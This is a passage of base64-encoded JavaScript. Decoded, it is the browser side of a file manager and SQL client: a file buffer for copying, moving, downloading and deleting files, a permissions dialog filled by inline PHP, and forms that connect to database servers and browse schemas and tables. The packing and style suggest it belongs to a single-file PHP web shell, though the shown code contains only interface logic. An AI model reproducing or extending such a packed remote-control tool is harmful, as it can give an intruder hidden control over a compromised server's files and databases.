dGEgPSB7CiAgIGY6IGJwdGgKICB9OwogZGF0YVthY3QgPT09ICdDb3B5JyA/ICdwJyA6ICd2J10gPSBmbUJ1ZmZlcjsKIGZtQWp4U25kKGFjdCArICcgZmlsZXMgZnJvbSB0aGUgYnVmZmVyIHRvICcgKyBicHRoLCBvbkZsc2hCdWZmZXIsIGRhdGEpOwp9CgpmdW5jdGlvbiBjbG5CdWZmZXIoKSB7CiB2YXIgYXMgPSBlbG1UYmxGaWxlcy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdtcmtkJyk7CiBmb3IgKHZhciBpID0gYXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIGFzW2ldLmNsYXNzTGlzdC5yZW1vdmUoJ21ya2QnKTsKIGZtQnVmZmVyID0gW107CiB1cGRCdWZmZXJTdGF0ZSgpOwp9CgpmdW5jdGlvbiBvbkJ1ZmZlck1lbnVDbGljayhlKSB7CiB2YXIgdHJndCA9IGUudGFyZ2V0OwogaWYgKHRyZ3QudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdHJndC5ibHVyKCk7CiBmbUJ1ZmZlci5zb3J0KCk7CiBzd2l0Y2ggKHRyZ3QudGV4dENvbnRlbnQpIHsKICBjYXNlICdTaG93IGZpbGVzJzoKICAgdWlTaHdGcm1CdWZmZXIoKTsKICAgYnJlYWs7CiAgY2FzZSAnQ29weSBoZXJlJzoKICBjYXNlICdNb3ZlIGhlcmUnOgogICBmbHVzaEJ1ZmZlcih0cmd0LnRleHRDb250ZW50LnNsaWNlKDAsIDQpKTsKICAgY2xuQnVmZmVyKCk7CiAgIGJyZWFrOwogIGNhc2UgJ0Rvd25sb2FkJzoKICAgZHduRmlsZXMoZm1CdWZmZXIpOwogICBjbG5CdWZmZXIoKTsKICAgYnJlYWs7CiAgY2FzZSAnQ2xlYXInOgogICBjbG5CdWZmZXIoKTsKICAgYnJlYWs7CiB9Cn0KCmZ1bmN0aW9uIG1hcmtGaWxlcyhmaWxlcykgewogdmFyIGJmclRiZHkgPSBlbG1CeUlkKCdmcm1CdWZmZXInKS5zdHlsZS52aXNpYmlsaXR5ID09PSAndmlzaWJsZScgPyBlbG1CeUlkKCd0YmxCdWZmZXInKS50Qm9kaWVzWzBdIDogbnVsbCwKICBlbG1UbXBsQnVmZmVyUm93ID0gZWxtQnlJZCgndG1wbEJ1ZmZlclJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgbiA9IGZtQnVmZmVyLmluZGV4T2YoZmlsZSk7CiAgaWYgKG4gPT09IC0xKSB7CiAgIGZtQnVmZmVyLnB1c2goZmlsZSk7CiAgIGlmIChiZnJUYmR5KSB7CiAgICB2YXIgcm93ID0gZWxtVG1wbEJ1ZmZlclJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICByb3cuY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSA9IGZpbGU7CiAgICByb3cuY2VsbHNbMV0uZmlyc3RDaGlsZC50ZXh0Q29udGVudCA9IGZpbGU7CiAgICBiZnJUYmR5LmFwcGVuZENoaWxkKHJvdyk7CiAgIH0KICB9IGVsc2UgewogICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgIGlmIChiZnJUYmR5KSBiZnJUYmR5LnJlbW92ZUNoaWxkKGJmclRiZHkucm93c1tuXSk7CiAgfQogfQogdXBkQnVmZmVyU3RhdGUoKTsKfQoKZnVuY3Rpb24gZ2V0U2xjdGRGaWxlcygpIHsKIHZhciBpbnBzID0gZWxtQnlJZCgnZnJtRmlsZXMnKVsnZltdJ10sCiAgY2hja2QgPSBbXTsKIGlmIChpbnBzKSB7CiAgaWYgKGlucHMubGVuZ3RoID4gMCkgewogICBmb3IgKHZhciBpID0gMCwgYyA9IGlucHMubGVuZ3RoOyBpIDwgYzsgKytpKQogICAgaWYgKGlucHNbaV0uY2hlY2tlZCkgY2hja2QucHVzaChpbnBzW2ldLnZhbHVlKTsKICB9IGVsc2UgY2hja2QucHVzaChpbnBzKTsKIH0KIHJldHVybiBjaGNrZDsKfQoKZnVuY3Rpb24gcHJwc1NsY3RkRmlsZXMoKSB7CiB2YXIgZmlsZXMgPSBnZXRTbGN0ZEZpbGVzKCk7CiBpZiAoZmlsZXMubGVuZ3RoID4gMCkgdWlTaHdGcm1QcnBzKFsnJywgJycsICcnLCAnJywgJyddLCBmaWxlcykKfQoKZnVuY3Rpb24gbWFya1NsY3RkRmlsZXMoKSB7CiB2YXIgaW5wcyA9IGVsbUJ5SWQoJ2ZybUZpbGVzJylbJ2ZbXSddLAogIGZpbGVzID0gW107CiBpZiAoIWlucHMpIHJldHVybjsKIGlmICghaW5wcy5sZW5ndGgpIGlucHMgPSBbaW5wc107CiBmb3IgKHZhciBpID0gMCwgYyA9IGlucHMubGVuZ3RoOyBpIDwgYzsgKytpKQogIGlmIChpbnBzW2ldLmNoZWNrZWQpIHsKICAgaW5wc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2VsbHNbMV0uZmlyc3RDaGlsZC5jbGFzc0xpc3QudG9nZ2xlKCdtcmtkJyk7CiAgIGZpbGVzLnB1c2goaW5wc1tpXS52YWx1ZSk7CiAgfSBtYXJrRmlsZXMoZmlsZXMpOwp9CgpmdW5jdGlvbiBvblRibEZpbGVzQ2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIGlmICh0cmd0LmNsYXNzTmFtZSA9PSAnc3BuUHRoJykgZ29Ubyh0cmd0Lmhhc2guc2xpY2UoMSkpOwogZWxzZSB7CiAgdmFyIGNlbGwgPSB0cmd0LnBhcmVudE5vZGUsCiAgIHJvdyA9IGNlbGwucGFyZW50Tm9kZSwKICAgZnB0aCA9IHJvdy5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlOwogIHN3aXRjaCAoY2VsbC5jZWxsSW5kZXgpIHsKICAgY2FzZSAxOgogICAgZ29UbyhmcHRoKTsKICAgIGJyZWFrOwogICBjYXNlIDI6CiAgICB2YXIgZWxtVHh0Q2xwYnJkID0gZWxtQnlJZCgndHh0Q2xwYnJkJyk7CiAgICBlbG1UeHRDbHBicmQudmFsdWUgPSB0cmd0LnRpdGxlOwogICAgZWxtVHh0Q2xwYnJkLnNlbGVjdCgpOwogICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsKICAgIGVsbVR4dENscGJyZC52YWx1ZSA9ICcnOwogICAgdHJndC5mb2N1cygpOwogICAgYnJlYWs7CiAgIGNhc2UgMzoKICAgIGR3bkZpbGVzKFtmcHRoXSk7CiAgICBicmVhazsKICAgY2FzZSA1OgogICAgPD9waHAgaWYoTklYKWVjaG8idmFyIG9nPXJvdy5jZWxsc1s2XS50aXRsZS5zcGxpdCgnLycpOyI7Pz51aVNod0ZybVBycHMoW2ZwdGgsIHJvdy5jZWxsc1s0XS50ZXh0Q29udGVudDw/cGhwIGlmKE5JWCllY2hvJyxyb3cuY2VsbHNbNV0uZmlyc3RDaGlsZC50aXRsZSxvZ1swXSxvZ1sxXSc7Pz5dLCBbZnB0aF0pOwogICAgYnJlYWs7CiAgIGRlZmF1bHQ6CiAgICBpZiAodHJndC50ZXh0Q29udGVudCA9PT0gJ01yaycpIHsKICAgICByb3cuY2VsbHNbMV0uZmlyc3RDaGlsZC5jbGFzc0xpc3QudG9nZ2xlKCdtcmtkJyk7CiAgICAgbWFya0ZpbGVzKFtmcHRoXSk7CiAgICB9IGVsc2UgaWYgKHRyZ3QudGV4dENvbnRlbnQgPT09ICdEZWwnKSBkZWxGaWxlcyhbZnB0aF0pOwogICAgYnJlYWs7CiAgfQogfQp9CgpmdW5jdGlvbiBzcWxSZXN0b3JlU3RhdGUoKSB7CiB2YXIgdmFsID0gc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgnc3FsQ25uY3QnKTsKIGlmICh2YWwgIT09IG51bGwpIHsKICB2YXIgZnJtID0gZWxtQnlJZCgnZnJtQ25uY3QnKTsKICB2YWwgPSBKU09OLnBhcnNlKHZhbCk7CiAgZm9yICh2YXIga2V5IGluIHZhbCkgZnJtW2tleV0udmFsdWUgPSB2YWxba2V5XTsKIH0KIHN0cmdSc3RyQ2hjaygnc3FsQ250UncnLCAnY2JDUicpOwogc3RyZ1JzdHJWYWwoJ3NxbFJQUCcsIGVsbUJ5SWQoJ2ZybVBnJykucik7CiBzdHJnUnN0clZhbCgnc3FsU2VuZEFzJywgJ3NxbENTU2VuZCcpOwogc3RyZ1JzdHJWYWwoJ3NxbExvYWRBcycsICdzcWxDU0xvYWQnKTsKfQoKZnVuY3Rpb24gc3FsU2F2ZVN0YXRlKCkgewogdmFyIGVsbXMgPSBlbG1CeUlkKCdmcm1Dbm5jdCcpLmVsZW1lbnRzLAogIHZhbCA9IHt9OwogZm9yICh2YXIgaSA9IGVsbXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgaWYgKGVsbXNbaV0ubmFtZSAhPT0gJycpIHZhbFtlbG1zW2ldLm5hbWVdID0gZWxtc1tpXS52YWx1ZTsKIHN0cmdTYXZlU3RyKCdzcWxDbm5jdCcsIEpTT04uc3RyaW5naWZ5KHZhbCkpOwogc3RyZ1NhdmVCb29sKCdzcWxDbnRSdycsICdjYkNSJyk7CiBzdHJnU2F2ZVN0cignc3FsUlBQJywgZWxtQnlJZCgnZnJtUGcnKS5yLnZhbHVlKTsKIHN0cmdTYXZlT3B0KCdzcWxTZW5kQXMnLCBlbG1CeUlkKCdzcWxDU1NlbmQnKS52YWx1ZSk7CiBzdHJnU2F2ZU9wdCgnc3FsTG9hZEFzJywgZWxtQnlJZCgnc3FsQ1NMb2FkJykudmFsdWUpOwp9CgpmdW5jdGlvbiBzcWxBanhTbmQobXNnLCBjbGxiY2ssIGRhdGEpIHsKIHZhciBlbG0gPSBlbG1CeUlkKCdmcm1Dbm5jdCcpLmVsZW1lbnRzOwogaWYgKCFkYXRhKSBkYXRhID0ge307CiBkYXRhLmEgPSAncyc7CiBmb3IgKHZhciBpID0gZWxtLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgdmFyIG4gPSBlbG1baV0ubmFtZTsKICBpZiAobiAhPT0gJycgJiYgZWxtW2ldLnZhbHVlICE9PSAnJyAmJiAhKG4gaW4gZGF0YSkpIGRhdGFbbl0gPSBlbG1baV0udmFsdWU7CiB9CiB2YXIgdmFsID0gZWxtQnlJZCgnc3FsQ1NMb2FkJykudmFsdWU7CiBpZiAodmFsICE9PSAwKSBkYXRhLmMgPSB2YWw7CiBlbG0gPSBlbG1CeUlkKCdzcWxDU1NlbmQnKTsKIGRhdGEubCA9IGVsbS52YWx1ZTsKIHJldHVybiBhanhTbmQobXNnLCBjbGxiY2ssIG51bGwsIGRhdGEsIGVsbS50ZXh0VmFsdWUpOwp9CgpmdW5jdGlvbiBta0l0bVJvdyhuYW1lLCB2YWwsIGNoY2tkLCBmbmNPcG4sIGZuY0R3bikgewogdmFyIGRpdiA9IG5ld0VsbSgnZGl2JywgewogIGNsYXNzTmFtZTogJ2Rpdkl0bScKIH0pOwogZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnaW5wdXQnLCB7CiAgdHlwZTogJ2NoZWNrYm94JywKICBuYW1lOiBuYW1lICsgJ1tdJywKICB2YWx1ZTogdmFsLAogIGNoZWNrZWQ6IGNoY2tkLAogIG9uY2hhbmdlOiBvbkNobmdDQlN0YXRlCiB9KSk7CiBpZiAoZm5jT3BuKSBkaXYuYXBwZW5kQ2hpbGQobmV3RWxtKCdhJywgewogIGhyZWY6ICcjJywKICBjbGFzc05hbWU6ICdjbnRybCBhY3RSZScsCiAgdGV4dENvbnRlbnQ6ICdcdTI3RjMnLAogIG9uY2xpY2s6IGdldFN0cmN0cgogfSkpOwogaWYgKGZuY0R3bikgZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnYScsIHsKICBocmVmOiAnIycsCiAgY2xhc3NOYW1lOiAnY250cmwgYXJ3RHduJywKICBvbmNsaWNrOiBmbmNEd24KIH0pKTsKIGRpdi5hcHBlbmRDaGlsZChuZXdFbG0oKGZuY09wbiA/ICdhJyA6ICdzcGFuJyksIHsKICBocmVmOiAnIycsCiAgY2xhc3NOYW1lOiAnYU1vcmUnLAogIHRpdGxlOiB2YWwsCiAgdGV4dENvbnRlbnQ6IHZhbCwKICBvbmNsaWNrOiBmbmNPcG4KIH0pKTsKIHJldHVybiBkaXY7Cn0KCmZ1bmN0aW9uIGNubmN0KCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybUNubmN0Jyk7CiByZXR1cm4gc3FsQWp4U25kKCdDb25uZWN0IHRvICcgKyBmcm0uZS50ZXh0VmFsdWUgKyAnIHNlcnZlciAnICsgZnJtLmgudmFsdWUgKyAnIGFzICcgKyBmcm0udS52YWx1ZSArICcgKCcgKyBmcm0ucC52YWx1ZSArICcpJywgb25Dbm5jdCk7Cn0KCmZ1bmN0aW9uIG9uQ25uY3QoZGl2LCBkYXRhKSB7CiBpZiAoJ2UnIGluIGRhdGEpIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLmUsICdFcnInKTsKIGVsbUJ5SWQoJ2ZybVNRTCcpLnEudmFsdWUgPSAnJzsKIGVsbUJ5SWQoJ2RpdkNwdG4nKS50ZXh0Q29udGVudCA9ICcnOwogZWxtID0gZWxtQnlJZCgnZnJtUGcnKS5zdHlsZTsKIGlmIChlbG0uZGlzcGxheSA9PT0gJ2Jsb2NrJykgZWxtLmRpc3BsYXkgPSAnbm9uZSc7CiBlbG0gPSBlbG1CeUlkKCd0YmxIZWFkJyk7CiBpZiAoZWxtLmNoaWxkTm9kZXMubGVuZ3RoID4gMCkgZWxtLnJlbW92ZUNoaWxkKGVsbS50SGVhZCk7CiBlbG0gPSBlbG1CeUlkKCd0YmxEYXRhJyk7CiBpZiAoZWxtLnRCb2RpZXMubGVuZ3RoID4gMCkgZWxtLnJlbW92ZUNoaWxkKGVsbS50Qm9kaWVzWzBdKTsKIGVsbSA9IGVsbUJ5SWQoJ2RpdlNRTFdycExlZnQnKTsKIGlmIChlbG0uc3R5bGUuZGlzcGxheSA9PT0gJ2Jsb2NrJykgewogIGVsbS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogIHZhciBlID0gZWxtQnlJZCgnZGl2U2NobScpOwogIGZvciAodmFyIGkgPSBlLmNoaWxkTm9kZXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIGUucmVtb3ZlQ2hpbGQoZS5sYXN0Q2hpbGQpOwogfQogaWYgKCdiJyBpbiBkYXRhKSB7CiAgZWxtQnlJZCgnZGl2U2NobScpLmFwcGVuZENoaWxkKG1rSXRtUm93KCdiJywgZGF0YS5iLCBmYWxzZSwgb3BuTGlzdCkpOwogIG9uR2V0U3RyY3RyKGRpdiwgZGF0YSk7CiB9IGVsc2UgewogIHZhciBmcmdtID0gZG9jdW1lbnQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpOwogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5sZW5ndGg7IGkgPCBjOyArK2kpIGZyZ20uYXBwZW5kQ2hpbGQobWtJdG1Sb3coJ2InLCBkYXRhW2ldLCBmYWxzZSwgb3BuTGlzdCkpOwogIGVsbUJ5SWQoJ2RpdlNjaG0nKS5hcHBlbmRDaGlsZChmcmdtKTsKIH0KIGVsbS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKIGVsbSA9IGVsbUJ5SWQoJ2ZybVNRTCcpLnN0eWxlOwogaWYgKGVsbS5kaXNwbGF5ICE9PSAnZmxleCcpIGVsbS5kaXNwbGF5ID0gJ2ZsZXgnOwogaWYgKCEoJ2InIGluIGRhdGEpKSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBvcG5MaXN0KCkgewogdmFyIHBybnQgPSB0aGlzLnBhcmVudE5vZGUsCiAgbHN0ID0gcHJudC5sYXN0Q2hpbGQ7CiBpZiAobHN0LmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIGxzdC5zdHlsZS5kaXNwbGF5ID0gbHN0LnN0eWxlLmRpc3BsYXkgPT09ICdub25lJyA/ICdibG9jaycgOiAnbm9uZSc7CiBlbHNlIHBybnQuY2hpbGROb2Rlc1sxXS5vbmNsaWNrKCk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIG9uQ2huZ0NCU3RhdGUoKSB7CiB2YXIgY2hsZFRvdGFsID0gdGhpcy5nZXRBdHRyaWJ1dGUoJ2NobGRUb3RhbCcpIHwgMCwKICBjaGxkQ2hja2QgPSB0aGlzLmdldEF0dHJpYnV0ZSgnY2hsZENoY2tkJykgfCAwLAogIGNobGRJbmR0cm0gPSAtMSAqICh0aGlzLmdldEF0dHJpYnV0ZSgnY2hsZEluZHRybScpIHwgMCksCiAgcHJudCA9IHRoaXMubmFtZSA9PT0gJ2JbXScgPyBmYWxzZSA6IHRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnBhcmVudE5vZGUuZmlyc3RDaGlsZDsKIGlmIChjaGxkSW5kdHJtICE9PSAwIHx8IGNobGRDaGNrZCAhPT0gY2hsZFRvdGFsKSB7CiAgdGhpcy5zZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nLCAwKTsKICAtLWNobGRJbmR0cm07CiB9CiB0aGlzLnNldEF0dHJpYnV0ZSgnY2hsZENoY2tkJywgdGhpcy5jaGVja2VkID8gY2hsZFRvdGFsIDogMCk7CiBjaGxkQ2hja2QgPSB0aGlzLmNoZWNrZWQgPyBjaGxkVG90YWwgLSBjaGxkQ2hja2QgKyAxIDogLTEgKiBjaGxkQ2hja2QgLSAxOwogaWYgKGNobGRUb3RhbCA+IDApIHsKICB2YXIgaW5wcyA9IHRoaXMucGFyZW50Tm9kZS5sYXN0Q2hpbGQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2lucHV0Jyk7CiAgZm9yICh2YXIgaSA9IGlucHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgIGlmIChpbnBzW2ldLmluZGV0ZXJtaW5hdGUgfHwgaW5wc1tpXS5jaGVja2VkICE9PSB0aGlzLmNoZWNrZWQpIHsKICAgIHZhciB0dGwgPSBpbnBzW2ldLmdldEF0dHJpYnV0ZSgnY2hsZFRvdGFsJykgfCAwOwogICAgaWYgKHR0bCA+IDApIHsKICAgICBpbnBzW2ldLnNldEF0dHJpYnV0ZSgnY2hsZEluZHRybScsIDApOwogICAgIGlucHNbaV0uc2V0QXR0cmlidXRlKCdjaGxkQ2hja2QnLCB0aGlzLmNoZWNrZWQgPyB0dGwgOiAwKTsKICAgIH0KICAgIGlucHNbaV0uaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgaW5wc1tpXS5jaGVja2VkID0gdGhpcy5jaGVja2VkOwogICB9CiB9CiB3aGlsZSAocHJudCkgewogIHZhciBjcnJudFRvdGFsID0gcHJudC5nZXRBdHRyaWJ1dGUoJ2NobGRUb3RhbCcpIHwgMCwKICAgY3JybnRDaGNrZCA9IChwcm50LmdldEF0dHJpYnV0ZSgnY2hsZENoY2tkJykgfCAwKSArIGNobGRDaGNrZCwKICAgY3JybnRJbmR0cm0gPSAocHJudC5nZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nKSB8IDApICsgY2hsZEluZHRybTsKICBwcm50LnNldEF0dHJpYnV0ZSgnY2hsZENoY2tkJywgY3JybnRDaGNrZCk7CiAgcHJudC5zZXRBdHRyaWJ1dGUoJ2NobGRJbmR0cm0nLCBjcnJudEluZHRybSk7CiAgaWYgKGNycm50Q2hja2QgPT09IGNycm50VG90YWwpIHsKICAgcHJudC5jaGVja2VkID0gdHJ1ZTsKICAgKytjaGxkQ2hja2Q7CiAgIGlmIChwcm50LmluZGV0ZXJtaW5hdGUpIHsKICAgIHBybnQuaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgLS1jaGxkSW5kdHJtOwogICB9CiAgfSBlbHNlIHsKICAgaWYgKHBybnQuY2hlY2tlZCkgewogICAgcHJudC5jaGVja2VkID0gZmFsc2U7CiAgICAtLWNobGRDaGNrZDsKICAgfQogICBpZiAoY3JybnRDaGNrZCA9PT0gMCAmJiBjcnJudEluZHRybSA9PT0gMCkgewogICAgaWYgKHBybnQuaW5kZXRlcm1pbmF0ZSkgewogICAgIHBybnQuaW5kZXRlcm1pbmF0ZSA9IGZhbHNlOwogICAgIC0tY2hsZEluZHRybTsKICAgIH0KICAgfSBlbHNlIGlmICghcHJudC5pbmRldGVybWluYXRlKSB7CiAgICBwcm50LmluZGV0ZXJtaW5hdGUgPSB0cnVlOwogICAgKytjaGxkSW5kdHJtOwogICB9CiAgfQogIHBybnQgPSBwcm50Lm5hbWUgPT09ICdiW10nID8gZmFsc2UgOiBwcm50LnBhcmVudE5vZGUucGFyZW50Tm9kZS5wYXJlbnROb2RlLmZpcnN0Q2hpbGQ7CiB9Cn0KCmZ1bmN0aW9uIGxpc3RUYWJsZXMocHJudCwgZGF0YSkgewogdmFyIGNoY2tkID0gcHJudC5wYXJlbnROb2RlLmZpcnN0Q2hpbGQuY2hlY2tlZCwKICBsc3QgPSBkYXRhLnQ7CiBmb3IgKHZhciBpID0gMCwgYyA9IGxzdC5sZW5ndGg7IGkgPCBjOyArK2kpIHsKICB2YXIgcm93ID0gbWtJdG1Sb3coJ3QnLCBsc3RbaV1bMF0sIGNoY2tkLCBnZXREYXRhLCBvcG5MaXN0KTsKICBpZiAobHN0W2ldLmxlbmd0aCA+IDEpIHJvdy5hcHBlbmRDaGlsZChuZXdFbG0oJ3NwYW4nLCB7CiAgIGNsYXNzTmFtZTogJ3NwblJDJywKICAgdGV4dENvbnRlbnQ6IGxzdFtpXVsxXQogIH0pKTsKICBwcm50LmFwcGVuZENoaWxkKHJvdyk7CiB9Cn0KCmZ1bmN0aW9uIGxpc3RTY2hlbWFzKHBybnQsIGRhdGEpIHsKIHZhciBjaGNrZCA9IHBybnQucGFyZW50Tm9kZS5maXJzdENoaWxkLmNoZWNrZWQsCiAgbHN0ID0gZGF0YS5zOwogZm9yIChpID0gMCwgYyA9IGxzdC5sZW5ndGg7IGkgPCBjOyArK2kpIHBybnQuYXBwZW5kQ2hpbGQobWtJdG1Sb3coJ3MnLCBsc3RbaV0sIGNoY2tkLCBvcG5MaXN0KSk7Cn0KCmZ1bmN0aW9uIGdldFN0cmN0cigpIHsKIHZhciBlbG0gPSB0aGlzLAogIGRhdGEgPSB7fSwKICBuYW1lID0gW10sCiAgaW5wOwogZG8gewogIGVsbSA9IGVsbS5wYXJlbnROb2RlOwogIGlucCA9IGVsbS5maXJzdENoaWxkOwogIG5hbWUucHVzaChpbnAudmFsdWUpOwogIGRhdGFbaW5wLm5hbWUuc3Vic3RyKDAsIDEpXSA9IGlucC52YWx1ZTsKICBlbG0gPSBlbG0ucGFyZW50Tm9kZTsKIH0gd2hpbGUgKGVsbS5pZCAhPT0gJ2RpdlNjaG0nKTsKIGlmIChlbG1CeUlkKCdjYkNSJykuY2hlY2tlZCkgZGF0YS5yID0gJyc7CiByZXR1cm4gc3FsQWp4U25kKCdHZXQgc3RydWN0dXJlIG9mICcgKyBuYW1lLnJldmVyc2UoKS5qb2luKCcuJyksIG9uR2V0U3RyY3RyLCBkYXRhKTsKfQoKZnVuY3Rpb24gc3JjaEl0bShlbG0sIG5hbWUsIHZhbHVlKSB7CiB2YXIgY2hsZHMgPSBlbG0uY2hpbGROb2RlczsKIGZvciAodmFyIGkgPSAwLCBjID0gY2hsZHMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGlucCA9IGNobGRzW2ldLmZpcnN0Q2hpbGQ7CiAgaWYgKGlucC5uYW1lID09PSBuYW1lICYmIGlucC52YWx1ZSA9PT0gdmFsdWUpIHJldHVybiBjaGxkc1tpXTsKIH0KIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gb25HZXRTdHJjdHIoZGl2LCBkYXRhKSB7CiBpZiAoJ2UnIGluIGRhdGEpIHJldHVybiB1aUNobmdNc2coZGl2LCBkYXRhLmUsICdFcnInKTsKIHZhciBjbnQ7CiBpZiAoJ2YnIGluIGRhdGEpIGNudCA9IGRhdGEuZi5sZW5ndGg7CiBlbHNlIGlmICgndCcgaW4gZGF0YSkgY250ID0gZGF0YS50Lmxlbmd0aDsKIGVsc2UgY250ID0gZGF0YS5zLmxlbmd0aDsKIGlmIChjbnQgPT09IDApIHsKICB2YXIgdCA9ICdEYXRhYmFzZScsCiAgIHYgPSBbZGF0YS5iXTsKICBpZiAoKCdzJyBpbiBkYXRhKSAmJiAoJ3QnIGluIGRhdGEpKSB7CiAgIHQgPSAnU2NoZW1hJzsKICAgdi5wdXNoKGRhdGEucyk7CiAgfQogIGlmICgnZicgaW4gZGF0YSkgewogICB0ID0gJ1RhYmxlJzsKICAgdi5wdXNoKGRhdGEudCk7CiAgfQogIHJldHVybiB1aUNobmdNc2coZGl2LCB0ICsgJyAnICsgdi5qb2luKCcuJykgKyAnIGlzIGVtcHR5JywgJ0luZicpOwogfQogdmFyIHBybnQgPSBzcmNoSXRtKGVsbUJ5SWQoJ2RpdlNjaG0nKSwgJ2JbXScsIGRhdGEuYik7CiBpZiAoIXBybnQpIHJldHVybjsKIGlmICgoJ3QnIGluIGRhdGEpICYmICgncycgaW4gZGF0YSkpIHsKICBpZiAocHJudC5sYXN0Q2hpbGQuY2xhc3NOYW1lICE9PSAnZGl2THN0JykgcmV0dXJuOwogIHBybnQgPSBzcmNoSXRtKHBybnQubGFzdENoaWxkLCAnc1tdJywgZGF0YS5zKTsKICBpZiAoIXBybnQpIHJldHVybjsKIH0KIGlmICgnZicgaW4gZGF0YSkgewogIGlmIChwcm50Lmxhc3RDaGlsZC5jbGFzc05hbWUgIT09ICdkaXZMc3QnKSByZXR1cm47CiAgcHJudCA9IHNyY2hJdG0ocHJudC5sYXN0Q2hpbGQsICd0W10nLCBkYXRhLnQpOwogIGlmICghcHJudCkgcmV0dXJuOwogfQogaWYgKHBybnQubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHBybnQucmVtb3ZlQ2hpbGQocHJudC5sYXN0Q2hpbGQpOwogdmFyIGkgPSBwcm50LmZpcnN0Q2hpbGQ7CiBpLnNldEF0dHJpYnV0ZSgnY2hsZFRvdGFsJywgY250KTsKIGkuc2V0QXR0cmlidXRlKCdjaGxkQ2hja2QnLCBpLmNoZWNrZWQgPyBjbnQgOiAwKTsKIGkuc2V0QXR0cmlidXRlKCdjaGxkSW5kdHJtJywgMCk7CiBwcm50LmFwcGVuZENoaWxkKG5ld0VsbSgnZGl2JywgewogIGNsYXNzTmFtZTogJ2RpdkxzdCcKIH0pKTsKIHBybnQgPSBwcm50Lmxhc3RDaGlsZDsKIGlmICgnZicgaW4gZGF0YSkgbGlzdEZpZWxkcyhwcm50LCBkYXRhKTsKIGVsc2UgaWYgKCd0JyBpbiBkYXRhKSBsaXN0VGFibGVzKHBybnQsIGRhdGEpOwogZWxzZSBsaXN0U2NoZW1hcyhwcm50LCBkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIGxpc3RGaWVsZHMocHJudCwgZGF0YSkgewogdmFyIGNoY2tkID0gcHJudC5wYXJlbnROb2RlLmZpcnN0Q2hpbGQuY2hlY2tlZCwKICBsc3QgPSBkYXRhLmY7CiBmb3IgKGkgPSAwLCBjID0gbHN0Lmxlbmd0aDsgaSA8IGM7ICsraSkgewogIHZhciByb3cgPSBta0l0bVJvdygnZicsIGxzdFtpXVswXSwgY2hja2QpLAogICB0eXBlID0gZGF0YS55W2xzdFtpXVsxXV07CiAgaWYgKHR5cGUgIT09ICcnKSB7CiAgIHZhciBkaXYgPSBuZXdFbG0oJ2RpdicsIHsKICAgIGNsYXNzTmFtZTogJ2RpdkZsZFRwJwogICB9KTsKICAgZGl2LmFwcGVuZENoaWxkKG5ld0VsbSgnc3BhbicsIHsKICAgIGNsYXNzTmFtZTogJ2FNb3JlJywKICAgIHRleHRDb250ZW50OiB0eXBlCiAgIH0pKTsKICAgcm93LmFwcGVuZENoaWxkKGRpdik7CiAgfQogIHBybnQuYXBwZW5kQ2hpbGQocm93KTsKIH0KfQoKZnVuY3Rpb24gZ2V0RGF0YSgpIHsKIHZhciBlbG0gPSB0aGlzLnBhcmVudE5vZGUsCiAgZGF0YSA9IHsKICAgdDogZWxtLmZpcnN0Q2hpbGQudmFsdWUsCiAgIGY6IFtdLAogICBvOiAwLAogICByOiBlbG1CeUlkKCdmcm1QZycpLnIudmFsdWUKICB9OwogZWxtID0gZWxtLnBhcmVudE5vZGUucGFyZW50Tm9kZTsKIGlmIChlbG0uZmlyc3RDaGlsZC5uYW1lID09PSAnc1tdJykgewogIGRhdGEucyA9IGVsbS5maXJzdENoaWxkLnZhbHVlOwogIGRhdGEuYiA9IGVsbS5wYXJlbnROb2RlLnBhcmVudE5vZGUuZmlyc3RDaGlsZC52YWx1ZTsKIH0gZWxzZSBkYXRhLmIgPSBlbG0uZmlyc3RDaGlsZC52YWx1ZTsKIGVsbSA9IHRoaXMucGFyZW50Tm9